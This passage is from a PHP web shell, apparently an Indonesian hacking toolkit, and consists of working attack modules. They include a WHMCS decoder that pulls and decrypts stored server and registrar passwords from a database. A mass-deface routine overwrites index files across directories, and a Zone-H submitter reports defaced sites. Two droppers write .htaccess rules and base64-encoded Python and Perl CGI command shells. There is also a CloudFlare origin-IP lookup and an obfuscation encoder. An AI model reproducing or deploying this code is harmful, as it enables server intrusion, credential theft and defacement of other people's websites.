  2038. $salt = '}#f4ga~g%7hjg4&j(7mk?/!bj30ab-wi=6^7-$^R9F|GK5J#E6WT;IO[JN'; // random string
  2039. $hash = md5($pass); // md5 hash #1
  2040. $md4 = hash("md4",$pass);
  2041. $hash_md5 = md5($salt.$pass); // md5 hash with salt #2
  2042. $hash_md5_double = md5(sha1($salt.$pass)); // md5 hash with salt & sha1 #3
  2043. $hash1 = sha1($pass); // sha1 hash #4
  2044. $sha256 = hash("sha256",$text);
  2045. $hash1_sha1 = sha1($salt.$pass); // sha1 hash with salt #5
  2046. $hash1_sha1_double = sha1(md5($salt.$pass)); // sha1 hash with salt & md5 #6
  2047. }
  2048. echo '<form action="" method="post"><b><table class=tabnet>';
  2049. echo '<tr><th colspan="2">Password Hash</th></center></tr>';
  2050. echo '<tr><td><b>masukan kata yang ingin di encrypt:</b></td>';
  2051. echo '<td><input class="inputz" type="text" name="password" size="40" />';
  2052. echo '<input class="inputzbut" type="submit" name="enter" value="hash" />';
  2053. echo '</td></tr><br>';
  2054. echo '<tr><th colspan="2">Hasil Hash</th></center></tr>';
  2055. echo '<tr><td>Original Password</td><td><input class=inputz type=text size=50 value='.$pass.'></td></tr><br><br>';
  2056. echo '<tr><td>MD5</td><td><input class=inputz type=text size=50 value='.$hash.'></td></tr><br><br>';
  2057. echo '<tr><td>MD4</td><td><input class=inputz type=text size=50 value='.$md4.'></td></tr><br><br>';
  2058. echo '<tr><td>MD5 with Salt</td><td><input class=inputz type=text size=50 value='.$hash_md5.'></td></tr><br><br>';
  2059. echo '<tr><td>MD5 with Salt & Sha1</td><td><input class=inputz type=text size=50 value='.$hash_md5_double.'></td></tr><br><br>';
  2060. echo '<tr><td>Sha1</td><td><input class=inputz type=text size=50 value='.$hash1.'></td></tr><br><br>';
  2061. echo '<tr><td>Sha256</td><td><input class=inputz type=text size=50 value='.$sha256.'></td></tr><br><br>';
  2062. echo '<tr><td>Sha1 with Salt</td><td><input class=inputz type=text size=50 value='.$hash1_sha1.'></td></tr><br><br>';
  2063. echo '<tr><td>Sha1 with Salt & MD5</td><td><input class=inputz type=text size=50 value='.$hash1_sha1_double.'></td></tr><br><br></table>';
  2064. }
  2065. /////////////////////////////////////////////////////////////////
  2066. elseif(isset($_GET['x']) && ($_GET['x'] == 'whmcs'))
  2067. {
  2068. ?>
  2069. <form action="?y=<?php echo $pwd; ?>&x=whmcs" method="post">
  2070. <?php
  2071. function decrypt ($string,$cc_encryption_hash)
  2072. {
  2073. $key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);
  2074. $hash_key = _hash ($key);
  2075. $hash_length = strlen ($hash_key);
  2076. $string = base64_decode ($string);
  2077. $tmp_iv = substr ($string, 0, $hash_length);
  2078. $string = substr ($string, $hash_length, strlen ($string) - $hash_length);
  2079. $iv = $out = '';
  2080. $c = 0;
  2081. while ($c < $hash_length)
  2082. {
  2083. $iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));
  2084. ++$c;
  2085. }
  2086. $key = $iv;
  2087. $c = 0;
  2088. while ($c < strlen ($string))
  2089. {
  2090. if (($c != 0 AND $c % $hash_length == 0))
  2091. {
  2092. $key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));
  2093. }
  2094. $out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));
  2095. ++$c;
  2096. }
  2097. return $out;
  2098. }
  2099. function _hash ($string)
  2100. {
  2101. if (function_exists ('sha1'))
  2102. {
  2103. $hash = sha1 ($string);
  2104. }
  2105. else
  2106. {
  2107. $hash = md5 ($string);
  2108. }
  2109. $out = '';
  2110. $c = 0;
  2111. while ($c < strlen ($hash))
  2112. {
  2113. $out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));
  2114. $c += 2;
  2115. }
  2116. return $out;
  2117. }
  2118. echo "
  2119. <br><center><font size='5' color='#00ff00'><b>-=[ WHMCS Decoder ]=-</b></font></center>
  2120. <center>
  2121. <br>
  2122. <FORM action='' method='post'>
  2123. <input type='hidden' name='form_action' value='2'>
  2124. <br>
  2125. <table class=tabnet style=width:320px;padding:0 1px;>
  2126. <tr><th colspan=2>WHMCS Decoder</th></tr>
  2127. <tr><td>db_host </td><td><input type='text' style='color:#00ff00;background-color:' class='inputz' size='38' name='db_host' value='localhost'></td></tr>
  2128. <tr><td>db_username </td><td><input type='text' style='color:#00ff00;background-color:' class='inputz' size='38' name='db_username' value=''></td></tr>
  2129. <tr><td>db_password</td><td><input type='text' style='color:#00ff00;background-color:' class='inputz' size='38' name='db_password' value=''></td></tr>
  2130. <tr><td>db_name</td><td><input type='text' style='color:#00ff00;background-color:' class='inputz' size='38' name='db_name' value=''></td></tr>
  2131. <tr><td>cc_encryption_hash</td><td><input style='color:#00ff00;background-color:' type='text' class='inputz' size='38' name='cc_encryption_hash' value=''></td></tr>
  2132. <td>&nbsp;&nbsp;&nbsp;&nbsp;<INPUT class='inputzbut' type='submit' style='color:#00ff00;background-color:' value='Submit' name='Submit'></td>
  2133. </table>
  2134. </FORM>
  2135. </center>
  2136. ";
  2137. if($_POST['form_action'] == 2 )
  2138. {
  2139. //include($file);
  2140. $db_host=($_POST['db_host']);
  2141. $db_username=($_POST['db_username']);
  2142. $db_password=($_POST['db_password']);
  2143. $db_name=($_POST['db_name']);
  2144. $cc_encryption_hash=($_POST['cc_encryption_hash']);
  2145. $link=mysql_connect($db_host,$db_username,$db_password) ;
  2146. mysql_select_db($db_name,$link) ;
  2147. $query = mysql_query("SELECT * FROM tblservers");
  2148. while($v = mysql_fetch_array($query)) {
  2149. $ipaddress = $v['ipaddress'];
  2150. $username = $v['username'];
  2151. $type = $v['type'];
  2152. $active = $v['active'];
  2153. $hostname = $v['hostname'];
  2154. echo("<center><table border='1'>");
  2155. $password = decrypt ($v['password'], $cc_encryption_hash);
  2156. echo("<tr><td>Type</td><td>$type</td></tr>");
  2157. echo("<tr><td>Active</td><td>$active</td></tr>");
  2158. echo("<tr><td>Hostname</td><td>$hostname</td></tr>");
  2159. echo("<tr><td>Ip</td><td>$ipaddress</td></tr>");
  2160. echo("<tr><td>Username</td><td>$username</td></tr>");
  2161. echo("<tr><td>Password</td><td>$password</td></tr>");
  2162. echo "</table><br><br></center>";
  2163. }
  2164. $link=mysql_connect($db_host,$db_username,$db_password) ;
  2165. mysql_select_db($db_name,$link) ;
  2166. $query = mysql_query("SELECT * FROM tblregistrars");
  2167. echo("<center>Domain Reseller <br><table class=tabnet border='1'>");
  2168. echo("<tr><td>Registrar</td><td>Setting</td><td>Value</td></tr>");
  2169. while($v = mysql_fetch_array($query)) {
  2170. $registrar = $v['registrar'];
  2171. $setting = $v['setting'];
  2172. $value = decrypt ($v['value'], $cc_encryption_hash);
  2173. if ($value=="") {
  2174. $value=0;
  2175. }
  2176. $password = decrypt ($v['password'], $cc_encryption_hash);
  2177. echo("<tr><td>$registrar</td><td>$setting</td><td>$value</td></tr>");
  2178. }
  2179. }
  2180. }
  2181. elseif(isset($_GET['x']) && ($_GET['x'] == 'zone'))
  2182. {
  2183. ?>
  2184. <form action="?y=<?php echo $pwd; ?>&x=zone" method="post">
  2185. <br><br><center>
  2186. <!-- Zone-H -->
  2187. <form action="" method='POST'><table><table class='tabnet'><tr>
  2188. <td style='background-color:#0000;padding-left:10px;'><tr><tr><th colspan="2"><h2>Zone-H Defacer</h2></th></tr></td></tr><tr><td height='45' colspan='2'><form method="post">
  2189. <input type="text" class="inputz" name="defacer" value="Nama Defacer" />
  2190. <select name="hackmode" class="inputz" >
  2191. <option >------------------------Pilih Salah Satu------------------------</option>
  2192. <option value="1">known vulnerability (i.e. unpatched system)</option>
  2193. <option value="2" >undisclosed (new) vulnerability</option>
  2194. <option value="3" >configuration / admin. mistake</option>
  2195. <option value="4" >brute force attack</option>
  2196. <option value="5" >social engineering</option>
  2197. <option value="6" >Web Server intrusion</option>
  2198. <option value="7" >Web Server external module intrusion</option>
  2199. <option value="8" >Mail Server intrusion</option>
  2200. <option value="9" >FTP Server intrusion</option>
  2201. <option value="10" >SSH Server intrusion</option>
  2202. <option value="11" >Telnet Server intrusion</option>
  2203. <option value="12" >RPC Server intrusion</option>
  2204. <option value="13" >Shares misconfiguration</option>
  2205. <option value="14" >Other Server intrusion</option>
  2206. <option value="15" >SQL Injection</option>
  2207. <option value="16" >URL Poisoning</option>
  2208. <option value="17" >File Inclusion</option>
  2209. <option value="18" >Other Web Application bug</option>
  2210. <option value="19" >Remote administrative panel access bruteforcing</option>
  2211. <option value="20" >Remote administrative panel access password guessing</option>
  2212. <option value="21" >Remote administrative panel access social engineering</option>
  2213. <option value="22" >Attack against administrator(password stealing/sniffing)</option>
  2214. <option value="23" >Access credentials through Man In the Middle attack</option>
  2215. <option value="24" >Remote service password guessing</option>
  2216. <option value="25" >Remote service password bruteforce</option>
  2217. <option value="26" >Rerouting after attacking the Firewall</option>
  2218. <option value="27" >Rerouting after attacking the Router</option>
  2219. <option value="28" >DNS attack through social engineering</option>
  2220. <option value="29" >DNS attack through cache poisoning</option>
  2221. <option value="30" >Not available</option>
  2222. </select>
  2223. <select name="reason" class="inputz" >
  2224. <option >-------------Pilih Salah Satu---------------</option>
  2225. <option value="1" >Heh...just for fun!</option>
  2226. <option value="2" >Revenge against that website</option>
  2227. <option value="3" >Political reasons</option>
  2228. <option value="4" >As a challenge</option>
  2229. <option value="5" >I just want to be the best defacer</option>
  2230. <option value="6" >Patriotism</option>
  2231. <option value="7" >Not available</option>
  2232. </select>
  2233. <input type="hidden" name="action" value="zone">
  2234. <center><textarea style="background:black;outline:none;" name="domain" cols="116" rows="9" id="domains">List Of Domains</textarea>
  2235. <br /><input class='inputzbut' type="submit" value="Send Now !" name="SendNowToZoneH" /><br></center></table>
  2236. </form></td></tr></table></form>
  2237. <!-- End Of Zone-H -->
  2238. </td></center><br><br>
  2239. <?php
  2240. echo '<center>';
  2241. ob_start();
  2242. $sub = get_loaded_extensions();
  2243. if(!in_array("curl", $sub)){die('[-] Curl Is Not Supported !! ');}
  2244. $hacker = $_POST['defacer'];
  2245. $method = $_POST['hackmode'];
  2246. $neden = $_POST['reason'];
  2247. $site = $_POST['domain'];
  2248. if (empty($hacker)){die ("[-] You Must Fill the Attacker name !");}
  2249. elseif($method == "--------SELECT--------") {die("[-] You Must Select The Method !");}
  2250. elseif($neden == "--------SELECT--------") {die("[-] You Must Select The Reason");}
  2251. elseif(empty($site)) {die("[-] You Must Inter the Sites List ! ");}
  2252. $i = 0;
  2253. $sites = explode("\n", $site);
  2254. while($i < count($sites))
  2255. {
  2256. if(substr($sites[$i], 0, 4) != "http") {$sites[$i] = "http://".$sites[$i];}
  2257. ZoneH("http://zone-h.org/notify/single", $hacker, $method, $neden, $sites[$i]);
  2258. echo "Site : ".$sites[$i]." Defaced !\n";
  2259. ++$i;
  2260. }
  2261. echo "[+] Sending Sites To Zone-H Has Been Completed Successfully !! ";
  2262. echo '</center>';
  2263. }
  2264. /////////////////////////////////////////////////////////////////////////////////////////////
  2265. elseif(isset($_GET['x']) && ($_GET['x'] == 'bypass-cf'))
  2266. {
  2267. echo '
  2268. <form method="POST"><br><br>
  2269. <center><p align="center" dir="ltr"><b><font size="5" face="Tahoma">+--=[ Bypass
  2270. <font color="#CC0000">CloudFlare</font> ]=--+</font></b></p>
  2271. <select class="inputz" name="krz">
  2272. <option>ftp</option>
  2273. <option>direct-conntect</option>
  2274. <option>webmail</option>
  2275. <option>cpanel</option>
  2276. </select>
  2277. <input class="inputz" type="text" name="target" value="url">
  2278. <input class="inputzbut" type="submit" value="Bypass"></center>
  2279. ';
  2280. $target = $_POST['target'];
  2281. # Bypass From FTP
  2282. if($_POST['krz'] == "ftp") {
  2283. $ftp = gethostbyname("ftp."."$target");
  2284. echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct
  2285. ip is : </font><font face='Tahoma' size='2' color='#F68B1F'>$ftp</font></p>";
  2286. }
  2287. # Bypass From Direct-Connect
  2288. if($_POST['krz'] == "direct-conntect") {
  2289. $direct = gethostbyname("direct-connect."."$target");
  2290. echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct
  2291. ip is : </font><font face='Tahoma' size='2' color='#F68B1F'>$direct</font></p>";
  2292. }
  2293. # Bypass From Webmail
  2294. if($_POST['krz'] == "webmail") {
  2295. $web = gethostbyname("webmail."."$target");
  2296. echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct
  2297. ip is : </font><font face='Tahoma' size='2' color='#F68B1F'>$web</font></p>";
  2298. }
  2299. # Bypass From Cpanel
  2300. if($_POST['krz'] == "cpanel") {
  2301. $cpanel = gethostbyname("cpanel."."$target");
  2302. echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct
  2303. ip is : </font><font face='Tahoma' size='2' color='#F68B1F'>$cpanel</font></p>";
  2304. }
  2305. }
  2306. //////////////////////////////////////////////////////////////////////////////////////////////
  2307. //////////////////////////////////////////////////////////////////////////////////////////////
  2308. elseif(isset($_GET['x']) && ($_GET['x'] == 'hashid')) {
  2309. if(isset($_POST['gethash'])){
  2310. $hash = $_POST['hash'];
  2311. if(strlen($hash)==32){
  2312. $hashresult = "MD5 Hash";
  2313. }elseif(strlen($hash)==40){
  2314. $hashresult = "SHA-1 Hash/ /MySQL5 Hash";
  2315. }elseif(strlen($hash)==13){
  2316. $hashresult = "DES(Unix) Hash";
  2317. }elseif(strlen($hash)==16){
  2318. $hashresult = "MySQL Hash / /DES(Oracle Hash)";
  2319. }elseif(strlen($hash)==41){
  2320. $GetHashChar = substr($hash, 40);
  2321. if($GetHashChar == "*"){
  2322. $hashresult = "MySQL5 Hash";
  2323. }
  2324. }elseif(strlen($hash)==64){
  2325. $hashresult = "SHA-256 Hash";
  2326. }elseif(strlen($hash)==96){
  2327. $hashresult = "SHA-384 Hash";
  2328. }elseif(strlen($hash)==128){
  2329. $hashresult = "SHA-512 Hash";
  2330. }elseif(strlen($hash)==34){
  2331. if(strstr($hash, '$1$')){
  2332. $hashresult = "MD5(Unix) Hash";
  2333. }
  2334. }elseif(strlen($hash)==37){
  2335. if(strstr($hash, '$apr1$')){
  2336. $hashresult = "MD5(APR) Hash";
  2337. }
  2338. }elseif(strlen($hash)==34){
  2339. if(strstr($hash, '$H$')){
  2340. $hashresult = "MD5(phpBB3) Hash";
  2341. }
  2342. }elseif(strlen($hash)==34){
  2343. if(strstr($hash, '$P$')){
  2344. $hashresult = "MD5(Wordpress) Hash";
  2345. }
  2346. }elseif(strlen($hash)==39){
  2347. if(strstr($hash, '$5$')){
  2348. $hashresult = "SHA-256(Unix) Hash";
  2349. }
  2350. }elseif(strlen($hash)==39){
  2351. if(strstr($hash, '$6$')){
  2352. $hashresult = "SHA-512(Unix) Hash";
  2353. }
  2354. }elseif(strlen($hash)==24){
  2355. if(strstr($hash, '==')){
  2356. $hashresult = "MD5(Base-64) Hash";
  2357. }
  2358. }else{
  2359. $hashresult = "Hash type not found";
  2360. }
  2361. }else{
  2362. $hashresult = "Not Hash Entered";
  2363. }
  2364. ?>
  2365. <center><br><Br><br>
  2366. <form action="" method="POST">
  2367. <tr>
  2368. <table class="tabnet">
  2369. <th colspan="5">Hash Identification</th>
  2370. <tr class="optionstr"><B><td>Enter Hash</td></b><td>:</td> <td><input type="text" name="hash" size='60' class="inputz" /></td><td><input type="submit" class="inputzbut" name="gethash" value="Identify Hash" /></td></tr>
  2371. <tr class="optionstr"><b><td>Result</td><td>:</td><td><?php echo $hashresult; ?></td></tr></b>
  2372. </table></tr></form>
  2373. </center>
  2374. <?php
  2375. }
  2376. //////////////////////////////////////////////////////////////////////////////////////////////
  2377. elseif(isset($_GET['x']) && ($_GET['x'] == 'python')) {
  2378. echo "<center/><br/><b>
  2379. +--==[ python Bypass Exploit ]==--+
  2380. </b><br><br>";
  2381. mkdir('python', 0755);
  2382. chdir('python');
  2383. $kokdosya = ".htaccess";
  2384. $dosya_adi = "$kokdosya";
  2385. $dosya = fopen ($dosya_adi , 'w') or die ("Dosya a&#231;&#305;lamad&#305;!");
  2386. $metin = "AddHandler cgi-script .izo";
  2387. fwrite ( $dosya , $metin ) ;
  2388. fclose ($dosya);
  2389. $pythonp = 'IyEvdXNyL2Jpbi9weXRob24KIyAwNy0wNy0wNAojIHYxL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dGhlIGZpZWxkIG1pc3Npbmcg
  2416. aXNuJ3QuKSIiIgogICAgZGF0YSA9IHt9CiAgICBmb3IgZmllbGQgaW4gdmFsdWVsaXN0OgogICAg
  2417. ICAgIGlmIG5vdCB0aGVmb3JtLmhhc19rZXkoZmllbGQpOgogICAgICAgICAgICBkYXRhW2ZpZWxk
  2418. XSA9IG5vdHByZXNlbnQKICAgICAgICBlbHNlOgogICAgICAgICAgICBpZiAgdHlwZSh0aGVmb3Jt
  2419. W2ZpZWxkXSkgIT0gdHlwZShbXSk6CiAgICAgICAgICAgICAgICBkYXRhW2ZpZWxkXSA9IHRoZWZv
  2420. cm1bZmllbGRdLnZhbHVlCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICB2YWx1ZXMg
  2421. PSBtYXAobGFtYmRhIHg6IHgudmFsdWUsIHRoZWZvcm1bZmllbGRdKSAgICAgIyBhbGxvd3MgZm9y
  2422. IGxpc3QgdHlwZSB2YWx1ZXMKICAgICAgICAgICAgICAgIGRhdGFbZmllbGRdID0gdmFsdWVzCiAg
  2423. ICByZXR1cm4gZGF0YQoKCnRoZWZvcm1oZWFkID0gIiIiPEhUTUw+PEhFQUQ+PFRJVExFPmNnaS1z
  2424. aGVsbC5weSAtIGEgQ0dJIGJ5IEZ1enp5bWFuPC9USVRMRT48L0hFQUQ+CjxCT0RZPjxDRU5URVI+
  2425. CjxIMT5XZWxjb21lIHRvIGNnaS1zaGVsbC5weSAtIDxCUj5hIFB5dGhvbiBDR0k8L0gxPgo8Qj48
  2426. ST5CeSBGdXp6eW1hbjwvQj48L0k+PEJSPgoiIiIrZm9udGxpbmUgKyJWZXJzaW9uIDogIiArIHZl
  2427. cnNpb25zdHJpbmcgKyAiIiIsIFJ1bm5pbmcgb24gOiAiIiIgKyBzdHJmdGltZSgnJUk6JU0gJXAs
  2428. ICVBICVkICVCLCAlWScpKycuPC9DRU5URVI+PEJSPicKCnRoZWZvcm0gPSAiIiI8SDI+RW50ZXIg
  2429. Q29tbWFuZDwvSDI+CjxGT1JNIE1FVEhPRD1cIiIiIiArIE1FVEhPRCArICciIGFjdGlvbj0iJyAr
  2430. IHNjcmlwdG5hbWUgKyAiIiJcIj4KPGlucHV0IG5hbWU9Y21kIHR5cGU9dGV4dD48QlI+CjxpbnB1
  2431. dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iU3VibWl0Ij48QlI+CjwvRk9STT48QlI+PEJSPiIiIgpib2R5
  2432. ZW5kID0gJzwvQk9EWT48L0hUTUw+JwplcnJvcm1lc3MgPSAnPENFTlRFUj48SDI+U29tZXRoaW5n
  2433. IFdlbnQgV3Jvbmc8L0gyPjxCUj48UFJFPicKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
  2434. IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBtYWluIGJvZHkgb2YgdGhlIHNj
  2435. cmlwdAoKaWYgX19uYW1lX18gPT0gJ19fbWFpbl9fJzoKICAgIHByaW50ICJDb250ZW50LXR5cGU6
  2436. IHRleHQvaHRtbCIgICAgICAgICAjIHRoaXMgaXMgdGhlIGhlYWRlciB0byB0aGUgc2VydmVyCiAg
  2437. ICBwcmludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyBzbyBpcyB0aGlzIGJs
  2438. YW5rIGxpbmUKICAgIGZvcm0gPSBjZ2kuRmllbGRTdG9yYWdlKCkKICAgIGRhdGEgPSBnZXRmb3Jt
  2439. KFsnY21kJ10sZm9ybSkKICAgIHRoZWNtZCA9IGRhdGFbJ2NtZCddCiAgICBwcmludCB0aGVmb3Jt
  2440. aGVhZAogICAgcHJpbnQgdGhlZm9ybQogICAgaWYgdGhlY21kOgogICAgICAgIHByaW50ICc8SFI+
  2441. PEJSPjxCUj4nCiAgICAgICAgcHJpbnQgJzxCPkNvbW1hbmQgOiAnLCB0aGVjbWQsICc8QlI+PEJS
  2442. PicKICAgICAgICBwcmludCAnUmVzdWx0IDogPEJSPjxCUj4nCiAgICAgICAgdHJ5OgogICAgICAg
  2443. ICAgICBjaGlsZF9zdGRpbiwgY2hpbGRfc3Rkb3V0ID0gb3MucG9wZW4yKHRoZWNtZCkKICAgICAg
  2444. ICAgICAgY2hpbGRfc3RkaW4uY2xvc2UoKQogICAgICAgICAgICByZXN1bHQgPSBjaGlsZF9zdGRv
  2445. dXQucmVhZCgpCiAgICAgICAgICAgIGNoaWxkX3N0ZG91dC5jbG9zZSgpCiAgICAgICAgICAgIHBy
  2446. aW50IHJlc3VsdC5yZXBsYWNlKCdcbicsICc8QlI+JykKCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlv
  2447. biwgZTogICAgICAgICAgICAgICAgICAgICAgIyBhbiBlcnJvciBpbiBleGVjdXRpbmcgdGhlIGNv
  2448. bW1hbmQKICAgICAgICAgICAgcHJpbnQgZXJyb3JtZXNzCiAgICAgICAgICAgIGYgPSBTdHJpbmdJ
  2449. TygpCiAgICAgICAgICAgIHByaW50X2V4YyhmaWxlPWYpCiAgICAgICAgICAgIGEgPSBmLmdldHZh
  2450. bHVlKCkuc3BsaXRsaW5lcygpCiAgICAgICAgICAgIGZvciBsaW5lIGluIGE6CiAgICAgICAgICAg
  2451. ICAgICBwcmludCBsaW5lCgogICAgcHJpbnQgYm9keWVuZAoKCiIiIgpUT0RPL0lTU1VFUwoKCgpD
  2452. SEFOR0VMT0cKCjA3LTA3LTA0ICAgICAgICBWZXJzaW9uIDEuMC4wCkEgdmVyeSBiYXNpYyBzeXN0
  2453. ZW0gZm9yIGV4ZWN1dGluZyBzaGVsbCBjb21tYW5kcy4KSSBtYXkgZXhwYW5kIGl0IGludG8gYSBw
  2454. cm9wZXIgJ2Vudmlyb25tZW50JyB3aXRoIHNlc3Npb24gcGVyc2lzdGVuY2UuLi4KIiIi';
  2455. $file = fopen("python.izo" ,"w+");
  2456. $write = fwrite ($file ,base64_decode($pythonp));
  2457. fclose($file);
  2458. chmod("python.izo",0755);
  2459. echo " <iframe src=python/python.izo width=96% height=76% frameborder=0></iframe>
  2460. </div>"; }
  2461. //////////////////////////////////////////////////////////////////////////////////////////////
  2462. elseif(isset($_GET['x']) && ($_GET['x'] == 'string')){
  2463. $text = $_POST['code'];
  2464. ?><center><br><br><b>+--=[ Script Encode & Decode ]=--+</b><br><br>
  2465. <form method="post"><br><br><br>
  2466. <textarea class='inputz' cols=80 rows=10 name="code"></textarea><br><br>
  2467. <select class='inputz' size="1" name="ope">
  2468. <option value="base64">Base64</option>
  2469. <option value="gzinflate">str_rot13 - gzinflate - base64</option>
  2470. <option value="str">str_rot13 - gzinflate - str_rot13 - base64</option>
  2471. </select>&nbsp;<input class='inputzbut' type='submit' name='submit' value='Encrypt'>
  2472. <input class='inputzbut' type='submit' name='submits' value='Decrypt'>
  2473. </form>
  2474. <?php
  2475. $submit = $_POST['submit'];
  2476. if (isset($submit)){
  2477. $op = $_POST["ope"];
  2478. switch ($op) {case 'base64': $codi=base64_encode($text);
  2479. break;case 'str' : $codi=(base64_encode(str_rot13(gzdeflate(str_rot13($text)))));
  2480. break;case 'gzinflate' : $codi=base64_encode(gzdeflate(str_rot13($text)));
  2481. break;default:break;}}
  2482. $submit = $_POST['submits'];
  2483. if (isset($submit)){
  2484. $op = $_POST["ope"];
  2485. switch ($op) {case 'base64': $codi=base64_decode($text);
  2486. break;case 'str' : $codi=str_rot13(gzinflate(str_rot13(base64_decode(($text)))));
  2487. break;case 'gzinflate' : $codi=str_rot13(gzinflate(base64_decode($text)));
  2488. break;default:break;}}
  2489. echo '<textarea cols=80 rows=10 class="inputz" readonly>'.$codi.'</textarea></center><BR><BR>';
  2490. }
  2491. /////////////////////////////////////////////////////////////////////////////////////////////
  2492. elseif(isset($_GET['x']) && ($_GET['x'] == 'mass'))
  2493. {
  2494. echo "<center/><br/><b><font color=#00ff00>-=[ Mass Deface ]=-</font></b><br>";
  2495. error_reporting(0);?>
  2496. <form ENCTYPE="multipart/form-data" action="<?php $_SERVER['PHP_SELF']?>" method='post'>
  2497. <td><table><table class="tabnet" >
  2498. <form hethot='post'>
  2499. <tr>
  2500. <tr>
  2501. <td>&nbsp;&nbsp;Folder</td><td><input class ='inputz' type='text' name='path' size='60' value="<?php echo getcwd();?>"></td>
  2502. </tr><br>
  2503. <tr>
  2504. <td>file name</td><td><input class ='inputz' type='text' name='file' size='60' value="index.php"></td>
  2505. </tr>
  2506. </tr>
  2507. <th colspan='2'><b>Index code</b></th><br></table>
  2508. <textarea style='background:black;outline:none;' name='index' rows='10' cols='67'>HACKED BY X'1N73CT,PATCH YOUR SECURITY SYSTEM</textarea><br>
  2509. <center><input class='inputzbut' type='submit' value="&nbsp;&nbsp;Deface&nbsp;&nbsp;"></center></form></table><br></form>
  2510. <?php $mainpath=$_POST[path];$file=$_POST[file];$dir=opendir("$mainpath");$code=base64_encode($_POST[index]);$indx=base64_decode($code);while($row=readdir($dir)){$start=@fopen("$row/$file","w+");$finish=@fwrite($start,$indx);if ($finish){echo "$row/$file > Done<br><br>";}}}
  2511. //////////////////////////////////////////////////////////////////////////////////////////////
  2512. elseif(isset($_GET['x']) && ($_GET['x'] == 'cgi')) {
  2513. echo "<center/><br/><b><font color=blue>+--==[ cgitelnet.v1 Bypass Exploit]==--+ </font></b><br><br>";
  2514. mkdir('cgitelnet1', 0755);
  2515. chdir('cgitelnet1');
  2516. $kokdosya = ".htaccess";
  2517. $dosya_adi = "$kokdosya";
  2518. $dosya = fopen ($dosya_adi , 'w') or die ("Dosya a&#231;&#305;lamad&#305;!");
  2519. $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
  2520. AddType application/x-httpd-cgi .cin
  2521. AddHandler cgi-script .cin
  2522. AddHandler cgi-script .cin";
  2523. fwrite ( $dosya , $metin ) ;
  2524. fclose ($dosya);
  2525. $cgishellizocin = 'IyEvdXNyL2Jpbi9wZXJsCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0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cHJlPjxmb250IGNvbG9yPSIjNjY5OTk5Ij4gX19fX18gIF9fX19fICBfX19fXyAgICAgICAgICBfX19fXyAgICAgICAgXyAgICAgICAgICAgICAgIF8KLyAgX18gXHwgIF9fIFx8XyAgIF98ICAgICAgICB8XyAgIF98ICAgICAgfCB8ICAgICAgICAgICAgIHwgfAp8IC8gIFwvfCB8ICBcLyAgfCB8ICAgX19fX19fICAgfCB8ICAgIF9fXyB8IHwgXyBfXyAgICBfX18gfCB8Xwp8IHwgICAgfCB8IF9fICAgfCB8ICB8X19fX19ffCAgfCB8ICAgLyBfIFx8IHx8ICdfIFwgIC8gXyBcfCBfX3wKfCBcX18vXHwgfF9cIFwgX3wgfF8gICAgICAgICAgIHwgfCAgfCAgX18vfCB8fCB8IHwgfHwgIF9fL3wgfF8KIFxfX19fLyBcX19fXy8gXF9fXy8gICAgICAgICAgIFxfLyAgIFxfX198fF98fF98IHxffCBcX19ffCBcX198IDEuMAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAo8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiAgICAgICAgICAgICAgICAgICAgICBfX19fX18gICAgICAgICAgICAgPC9mb250Pjxmb250IGNvbG9yPSIjQUU4MzAwIj7CqSAyMDAxLCBSb2hpdGFiIEJhdHJhPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4KICAgICAgICAgICAgICAgICAgIC4tJnF1b3Q7ICAgICAgJnF1b3Q7LS4KICAgICAgICAgICAgICAgICAgLyAgICAgICAgICAgIFwKICAgICAgICAgICAgICAgICB8ICAgICAgICAgICAgICB8CiAgICAgICAgICAgICAgICAgfCwgIC4tLiAgLi0uICAsfAogICAgICAgICAgICAgICAgIHwgKShfby8gIFxvXykoIHwKICAgICAgICAgICAgICAgICB8LyAgICAgL1wgICAgIFx8CiAgICAgICAoQF8gICAgICAgKF8gICAgIF5eICAgICBfKQogIF8gICAgICkgXDwvZm9udD48Zm9udCBjb2xvcj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57J2YnfTsKJE9wdGlvbnMgPSAkaW57J28nfTsKCiRBY3Rpb24gPSAkaW57J2EnfTsKJEFjdGlvbiA9ICJsb2dpbiIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQKCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQKJEN1cnJlbnREaXIgPSAkaW57J2QnfTsKY2hvcCgkQ3VycmVudERpciA9IGAkQ21kUHdkYCkgaWYoJEN1cnJlbnREaXIgZXEgIiIpOwoKJExvZ2dlZEluID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOwoKaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pICMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4KewoJJlBlcmZvcm1Mb2dpbjsKfQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikgIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQKewoJJkV4ZWN1dGVDb21tYW5kOwp